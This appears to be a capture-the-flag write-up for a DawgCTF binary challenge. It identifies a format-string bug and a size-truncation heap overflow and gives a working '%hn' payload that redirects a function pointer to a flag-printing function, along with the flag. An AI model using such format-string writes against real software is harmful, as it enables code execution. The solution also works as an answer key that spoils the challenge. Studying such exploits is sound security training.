Skip to main content

stacking_melodies

Challenge

Imported from local notes.md.

Solution

Original Notes

stacking_melodies

Challenge Summary

  • Given: C source (Stacking_melodies.c) for a binary music-rating service at nc.umbccd.net:8929
  • Goal: Exploit binary vulnerabilities to read flag.txt on the remote server
  • Constraints: Binary compiled with gcc -no-pie -g, Partial RELRO, No canary, No PIE, ASLR disabled on remote

Initial Recon / Triage

  • Observations: Binary protocol with 12-byte header (magic 0x564d576e + t_len + d_len), title field, data field
  • Two vulnerabilities identified:
    1. Format string: printf(title) at line 82 — title is user-controlled
    2. Heap overflow: validate_size() integer truncation (size_t→int cast) allows bypass of 2048-byte limit; stream_size = d_len + 0x40 can wrap to 0
  • win() function reads and prints flag.txt, then calls exit(0)
  • setvbuf(stdout, NULL, _IONBF, 0) in main() ensures unbuffered output

Hypotheses & Approach

  • Hypothesis 1: Heap overflow to overwrite ctx->server_logging function pointer → call win()
  • Hypothesis 2: Format string %hn write to overwrite ctx->server_logging → call win()
  • Winning approach: Format string single %hn write to ctx struct on heap

Execution Steps (Reproducible)

Stage 1 — Local compilation and analysis

cd artifacts && gcc -no-pie -g ../starting_files/Stacking_melodies.c -o stacking_melodies_local
checksec --file=stacking_melodies_local # Partial RELRO, No canary, No PIE
objdump -R stacking_melodies_local # GOT layout: free@0x404000, putchar@0x404008, etc.
  • Local addresses: log_event=0x4011d6, win=0x401234

Stage 2 — Remote reconnaissance via format string

# Probe stack with %p at positions 1-80
python3 -c "..." | nc nc.umbccd.net 8929
  • Key findings: ASLR disabled (addresses consistent across connections)
  • Remote log_event leaked via %9$s: bytes e6 11 40 → 0x4011e6
  • Position 9 = ctx pointer (confirmed), Position 10 = stream_buf, Position 12 = title
  • Remote return address %15$p = 0x4014bb (vs local 0x401497) — code offset differs by 0x24

Stage 3 — Format string exploit to overwrite ctx->server_logging

# Exploit format string: %11$<N>c%9$hn
# Position 11 (stream_size=0x40='@') used for padding character
# Position 9 (ctx pointer) used as %hn write target
# Writing to *ctx overwrites ctx->server_logging (first struct field)
  • Sanity check: writing 0x11e6 (original log_event) → normal [Rating] output ✓
  • Scanning addresses 0x1224–0x1270 found flag output at 0x124e and 0x1252
  • Remote win() = 0x40124e (different from assumed 0x401244 due to different gcc compilation)

Final exploit payload

import struct
MAGIC = 0x564d576e
title = b"%11$4686c%9$hn" # 4686 = 0x124e (remote win)
hdr = struct.pack('<III', MAGIC, len(title), 0)
# Send hdr + title to nc.umbccd.net:8929

Key Insights

  • glibc caches positional args for %n writes — pointer chain technique does NOT work (writes use pre-cached values)
  • Single %hn write to heap (ctx struct) bypasses this limitation entirely
  • Remote binary compiled with different gcc version → function offsets differ from local by non-constant amount
  • Address scanning (brute-force nearby addresses) was necessary to find exact remote win()

Artifacts Produced

  • artifacts/stacking_melodies_local — locally compiled binary
  • artifacts/exploit.py — format string exploit script
  • artifacts/local_flag_test/ — local test directory with flag.txt

Flag

DawgCTF{A_H34ping_helping}